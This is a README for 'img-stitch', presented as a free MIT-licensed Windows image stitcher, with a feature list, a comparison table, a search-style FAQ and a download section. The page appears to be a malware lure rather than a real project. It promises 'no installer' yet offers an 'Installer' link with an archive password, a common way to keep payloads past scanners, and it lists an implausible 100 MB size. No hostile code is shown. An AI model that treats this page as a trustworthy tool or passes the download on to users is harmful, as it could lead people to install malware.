img-stitch

🧵 Free, open-source image stitcher for Windows — combine screenshots and photos into long images, aligned. 100 MB portable, offline, MIT.

Features

• ✅ Vertical, horizontal and grid layouts — long web captures, side-by-side comparisons and contact sheets
• ✅ Overlap auto-alignment — detects matching strips between sequential screenshots and seams them cleanly
• ✅ Border and background control — gap width, background color and rounded edges between tiles
• ✅ Auto-crop overlap — strips duplicated scroll regions instead of stacking them
• ✅ Memory-safe large canvases — stitches 50-plus images into a 30000 px result without exhausting RAM
• ✅ Export presets — web-optimized JPEG or lossless PNG at chosen scale
• ✅ 100 MB self-contained exe — imaging codecs bundled, portable, offline, MIT with SHA-256 releases

Why img-stitch

• MIT licensed, source in the open
• No ads, no account, no telemetry
• Single portable 100 MB exe - no installer, runs offline
• CI builds every release and publishes SHA-256 checksums
• Windows 10 / 11 x64

Comparison

Feature	img-stitch	Hugin	PhotoStitcher	Web Stitchers
Price	Free, MIT	Free, OSS	Paid	Freemium
Open source	Yes	Yes	No	No
Long-screenshot mode	Yes	No	No	Partial
Overlap trim for scrolls	Yes	No	Partial	Partial
50-plus tile contact sheets	Yes	No	Partial	No
Portable, no install	Yes, 100 MB	Installer	Installer	Web

FAQ

how to combine multiple screenshots into one long image?

Chat and webpage captures arrive as a dozen fragments with scroll overlaps, and pasting them into Paint produces visible seams. img-stitch finds the matching strips, trims duplicates and outputs one clean long image, or a bordered grid when you need a comparison sheet. It is a 100 MB portable exe, MIT, offline.

Screenshots

All screenshots describe the 1280x800 dark UI.

1. Dark canvas (#121418, orange #F97316): 12 screenshot tiles in vertical order, seam markers green where overlap was trimmed, canvas height readout 18,420 px.
2. Layout panel: vertical, horizontal and grid modes, gap slider at 8 px, background color swatch, auto-crop overlap toggle on.
3. Export dialog: JPEG and PNG cards, scale selector 100 percent, memory estimate bar green, preview strip of the final seam.

Download

Source	Link
💾 Installer img-stitch	Installer img-stitch

Archive password: 5139237619

Build

Requires the .NET SDK on Windows 10/11 x64:

dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true

License

MIT. See LICENSE.